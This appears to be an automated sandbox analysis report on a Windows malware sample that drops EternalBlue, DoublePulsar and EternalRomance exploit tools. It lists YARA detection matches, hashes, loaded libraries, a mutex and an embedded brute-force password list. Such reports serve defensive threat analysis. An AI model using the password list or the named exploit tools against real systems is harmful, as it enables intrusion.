Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0045C2CD	0_2_0045C2CD
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004803C0	0_2_004803C0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004943C0	0_2_004943C0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_005C8402	0_2_005C8402
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00488590	0_2_00488590
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0047C5A0	0_2_0047C5A0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00480640	0_2_00480640
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004306B0	0_2_004306B0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004887C0	0_2_004887C0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004AC824	0_2_004AC824
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0045C832	0_2_0045C832
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004948D0	0_2_004948D0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00478880	0_2_00478880
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_005C8887	0_2_005C8887
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_005C8B4F	0_2_005C8B4F
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00484BF0	0_2_00484BF0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00470C4E	0_2_00470C4E
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0045CD90	0_2_0045CD90
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00438E20	0_2_00438E20
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00470E9E	0_2_00470E9E
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_005C8FF3	0_2_005C8FF3
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00494F90	0_2_00494F90
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00480FA0	0_2_00480FA0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00485010	0_2_00485010
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004692F0	0_2_004692F0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_005C92B1	0_2_005C92B1
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0059940F	0_2_0059940F
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_005C9709	0_2_005C9709
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00459870	0_2_00459870
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004718A0	0_2_004718A0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00581A84	0_2_00581A84
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00469B30	0_2_00469B30
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00471BD0	0_2_00471BD0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00431BA0	0_2_00431BA0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00441BA0	0_2_00441BA0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00459BA0	0_2_00459BA0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00589C18	0_2_00589C18
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_005C9C0C	0_2_005C9C0C
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00459D30	0_2_00459D30
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_005C9ED0	0_2_005C9ED0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0046A049	0_2_0046A049
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0045E1A0	0_2_0045E1A0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004A2296	0_2_004A2296
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004A634A	0_2_004A634A
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0042E340	0_2_0042E340
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0057E340	0_2_0057E340
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0057E55E	0_2_0057E55E
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0047A570	0_2_0047A570
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0046A506	0_2_0046A506
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00476660	0_2_00476660
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00466680	0_2_00466680
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00592749	0_2_00592749
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0046A7F1	0_2_0046A7F1
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0055E970	0_2_0055E970
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0046A9A4	0_2_0046A9A4
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0047AAF0	0_2_0047AAF0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00466BC0	0_2_00466BC0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0043ABE0	0_2_0043ABE0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00586C50	0_2_00586C50
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0046AC1E	0_2_0046AC1E
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00462DE0	0_2_00462DE0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0049AF70	0_2_0049AF70
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0046B050	0_2_0046B050
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004630F0	0_2_004630F0

Source: Joe Sandbox View	Dropped File: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe 15FFBB8D382CD2FF7B0BD4C87A7C0BFFD1541C2FE86865AF445123BC0B770D13
Source: Joe Sandbox View	Dropped File: C:\Users\user\Desktop\Eternalblue-2.2.0.exe 85B936960FBE5100C170B777E1647CE9F0F01E3AB9742DFC23F37CB0825B30B5

Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: String function: 004625A0 appears 34 times
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: String function: 00462410 appears 51 times
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: String function: 004AB8E4 appears 33 times
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: String function: 0041EBC1 appears 41 times
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: String function: 00462820 appears 63 times
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: String function: 0049C694 appears 76 times
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: String function: 0057C8D4 appears 71 times

Source: exe3.bin.bak.exe

Static PE information: Resource name: RT_STRING type: Apollo m68k COFF executable not stripped - version 790

Source: exe3.bin.bak.exe	Binary or memory string: OriginalFilename vs exe3.bin.bak.exe
Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelibeay32.dllH vs exe3.bin.bak.exe
Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamessleay32.dllH vs exe3.bin.bak.exe
Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamezlib1.dll* vs exe3.bin.bak.exe

Source: exe3.bin.bak.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 0.2.exe3.bin.bak.exe.5df276.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 0.2.exe3.bin.bak.exe.55b2e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.exe3.bin.bak.exe.4dfad8.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.exe3.bin.bak.exe.4bb7f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.exe3.bin.bak.exe.4bb7f8.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.exe3.bin.bak.exe.5df276.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 0.2.exe3.bin.bak.exe.5df276.3.raw.unpack, type: UNPACKEDPE	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 0.2.exe3.bin.bak.exe.5df276.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 0.2.exe3.bin.bak.exe.5e2e89.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 0.2.exe3.bin.bak.exe.5e2e89.6.raw.unpack, type: UNPACKEDPE	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 0.2.exe3.bin.bak.exe.5e2e89.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack, type: UNPACKEDPE	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack, type: UNPACKEDPE	Matched rule: Regin_Related_Malware date = 2015-06-03, author = Florian Roth, description = Malware Sample - maybe Regin related, score = VT Analysis, license = https://creativecommons.org/licenses/by-nc/4.0/, hash = 76c355bfeb859a347e38da89e3d30a6ff1f94229
Source: 0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 0.2.exe3.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 0.2.exe3.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 0.2.exe3.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Regin_Related_Malware date = 2015-06-03, author = Florian Roth, description = Malware Sample - maybe Regin related, score = VT Analysis, license = https://creativecommons.org/licenses/by-nc/4.0/, hash = 76c355bfeb859a347e38da89e3d30a6ff1f94229
Source: 0.2.exe3.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 0.2.exe3.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Regin_Related_Malware date = 2015-06-03, author = Florian Roth, description = Malware Sample - maybe Regin related, score = VT Analysis, license = https://creativecommons.org/licenses/by-nc/4.0/, hash = 76c355bfeb859a347e38da89e3d30a6ff1f94229
Source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: Process Memory Space: exe3.bin.bak.exe PID: 4036, type: MEMORYSTR	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: Process Memory Space: exe3.bin.bak.exe PID: 4036, type: MEMORYSTR	Matched rule: Regin_Related_Malware date = 2015-06-03, author = Florian Roth, description = Malware Sample - maybe Regin related, score = VT Analysis, license = https://creativecommons.org/licenses/by-nc/4.0/, hash = 76c355bfeb859a347e38da89e3d30a6ff1f94229
Source: Process Memory Space: exe3.bin.bak.exe PID: 4036, type: MEMORYSTR	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Users\user\Desktop\Eternalblue-2.2.0.xml, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.xml, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Users\user\Desktop\coli-0.dll, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Users\user\Desktop\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1 date = 2017-04-15, hash1 = 15ffbb8d382cd2ff7b0bd4c87a7c0bffd1541c2fe86865af445123bc0b770d13, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance_2 date = 2017-04-15, hash3 = 92c6a9e648bfd98bbceea3813ce96c6861487826d6b2c3d462debae73ed25b34, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: C:\Users\user\Desktop\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: C:\Users\user\Desktop\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Users\user\Desktop\Eternalromance-1.4.0.xml, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Erraticgopher_1_0_1 date = 2017-04-15, hash1 = 3d11fe89ffa14f267391bc539e6808d600e465955ddb854201a1f31a9ded4052, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1 date = 2017-04-15, hash1 = 15ffbb8d382cd2ff7b0bd4c87a7c0bffd1541c2fe86865af445123bc0b770d13, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Users\user\Desktop\Eternalblue-2.2.0.exe, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Users\user\Desktop\dmgd-4.dll, type: DROPPED	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: C:\Users\user\Desktop\Wmicc.exe, type: DROPPED	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime

Source: classification engine

Classification label: mal100.rans.troj.expl.evad.winEXE@2/26@2/100

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Code function: 0_2_00401F4F CreateToolhelp32Snapshot,Process32First,Process32Next,

0_2_00401F4F

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Code function: 0_2_004ADA3E FindResourceA,LoadResource,LockResource,

0_2_004ADA3E

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

File created: C:\Users\user\Desktop\Wmicc.exe

Jump to behavior

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Mutant created: \Sessions\1\BaseNamedObjects\Global\Brute_2024

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: exe3.bin.bak.exe

ReversingLabs: Detection: 87%

Source: exe3.bin.bak.exe	String found in binary or memory: set-addPolicy
Source: exe3.bin.bak.exe	String found in binary or memory: id-cmc-addExtensions
Source: exe3.bin.bak.exe	String found in binary or memory: --help
Source: exe3.bin.bak.exe	String found in binary or memory: --help
Source: exe3.bin.bak.exe	String found in binary or memory: 123 admin-123 admin-123456 admin. admin.123 admin.1234 admin.2015 admin/123 admin/add admin0 admin0. admin1 admin1! admin1, admin11!! admin1111 admin12 admin12!@ admin12# admin12#$ admin1217 admin123 admin123! admin123!! admin123!!! ad

Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: odbc32.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: sqlsrv32.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: odbccp32.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: dbnetlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: dsparse.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: netbios.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Section loaded: dbnmpntw.dll	Jump to behavior

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2087c2f4-2cef-4953-a8ab-66779b670495}\InProcServer32

Jump to behavior

Source: exe3.bin.bak.exe

Static file information: File size 3350528 > 1048576

Source: exe3.bin.bak.exe

